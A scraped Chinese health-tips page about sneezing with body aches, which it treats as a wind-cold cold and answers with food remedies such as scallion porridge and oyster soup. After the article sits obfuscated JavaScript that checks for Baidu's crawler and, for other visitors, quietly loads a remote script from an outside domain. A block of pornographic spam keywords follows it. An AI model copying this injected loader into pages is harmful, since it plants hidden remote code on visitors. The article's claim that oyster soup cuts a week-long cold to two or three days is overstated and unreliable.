當前位置:首頁 > 健康 > 常見疾病 > 正文

打噴嚏渾身酸怎么辦

2017-06-18 17:18:35  來源:360常識網   熱度:
導語:我相信大多數的人都出現過這種打噴嚏的現象,打起噴嚏來的時候我們會覺得鼻子有點發癢,還有的時候會有點不舒服,但是如果我們感冒的話,就

我相信大多數的人都出現過這種打噴嚏的現象,打起噴嚏來的時候我們會覺得鼻子有點發癢,還有的時候會有點不舒服,但是如果我們感冒的話,就會有打噴嚏的現象,并且還會出現一種渾身酸的現象,很多人對這個現象表示疑惑,甚至有很多疑問,不知道這樣的現象發生后該怎么治療,那么打噴嚏渾身酸到底該怎么辦呢?

打了噴嚏之后感覺渾身酸的話,考慮是風寒感冒。

風寒感冒的治療:

辛溫食糖散風寒 感受風寒是引起風寒感冒的病因,食療應以祛風寒為主。可以選擇一些辛溫發散的食物來散風寒.風寒祛則感冒自愈。患者可以自制豆豉蔥白粥來治療。取粳米50克,淘洗干凈,先煮粥,快熟時加人淡豆鼓15克、蔥白10克(切碎),再煮5-10分鐘即可,溫熱服食,之后可蓋被以助發汗。潑豆豉,就是在加工過程中沒有放鹽的豆豉,中醫叫淡豆豉(中藥店有售),具有發汗解表的作用。蔥白具有散寒通陽的作用。熬成粥溫熱服食,可達到發汗、解表、祛寒的目的,使風寒感冒從汗而解。

補鋅食鞠縮病程 大家或許有這樣的體驗,感冒后無論吃藥與否.大約一周時間均可見好。感冒是一種自限性疾病,到時間自然就會痊愈。在風寒感冒期間,多喝一些牡蠣湯,可以減輕感冒癥狀,還能縮短病程。也就是說,原本感冒7日才能好,喝了牡蠣湯之后,2-3日就好了。最新研究發現,在感冒期間補充微量元素鋅,可以縮短感冒病程,減輕感冒癥狀。在含鋅的食物當中.牡蠣位居首位。將牡蠣200克(連殼)清洗干凈,加適量水以及少許蔥白、生姜、食鹽.熬湯食用,每日1次.您會發現感冒好得很快,也不會像原來感冒耶樣難受了。

平補食物強體質 有些體質虛弱的老人在風寒感冒好了之后,仍然會有乏力、精神倦怠、食欲不佳等癥狀,這個時候就應該選用一些有平補作用的食物進補一下.可以增強體質,預防再次受寒引發感冒,喝黃芪山藥粥就是不錯的選擇。山藥“不燥不膩”,可以說是平補的最佳食物。黃芪是補氣固表常用的一味中藥,可以增強體質,抵御感冒。黃芪3克,粳米50克,一同熬粥,快熟時,加^鮮山藥100克(削皮、切小塊),再煮一二沸即可,溫熱服食.每日1次,連續7日。

如果自己是風寒感冒的話,那么平時就要注意自己的飲食了,如果有渾身酸的現象,我們就會感覺非常低厭惡跟難受,這樣的現象要盡快的擺脫才好,而風寒感冒做治療的時候避免心情過度著急,這樣對疾病的控制很不好,還要記得在治療的時候給自己多喝水,吃點姜水也是可以的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品夜夜春夜夜爽久久小| 亚洲视频在线精品| 国内精品久久久久久久影视麻豆| 3D动漫精品一区二区三区| 国产伦精品一区二区三区无广告 | 国产精品久久久久aaaa| 亚洲精品97久久中文字幕无码| 无码人妻精品中文字幕| 人妻少妇精品视频三区二区一区| 无码国内精品久久综合88| 手机看片在线精品观看| 国产精品一区二区三区久久| 91大神精品网站在线观看| 日本精品一区二区久久久| 99精品国产第一福利网站| 久久精品国产99国产精2020丨 | 久久亚洲国产精品成人AV秋霞| 91精品国产品国语在线不卡| 国产亚洲精品无码专区| 热久久精品免费视频| 精品久久亚洲中文无码| 久久夜色精品国产噜噜| freesexvideos精品老师毛多| 午夜精品免费在线观看| 国产在线精品一区二区三区不卡| 日韩AV无码精品人妻系列| 日韩精品成人亚洲专区| 欧洲精品无码成人久久久| 老子午夜精品无码| 国产精品久久久久久久久免费| 国产自产拍精品视频免费看| 3d动漫精品啪啪一区二区免费| 思思99re66在线精品免费观看| 一区二区三区精品高清视频免费在线播放| a级精品九九九大片免费看| 四虎永久在线精品免费影视| 欧美黑人巨大精品videos| 老司机性色福利精品视频| 日韩一级精品视频在线观看| 91精品在线播放| 国产午夜精品一区二区三区小说 |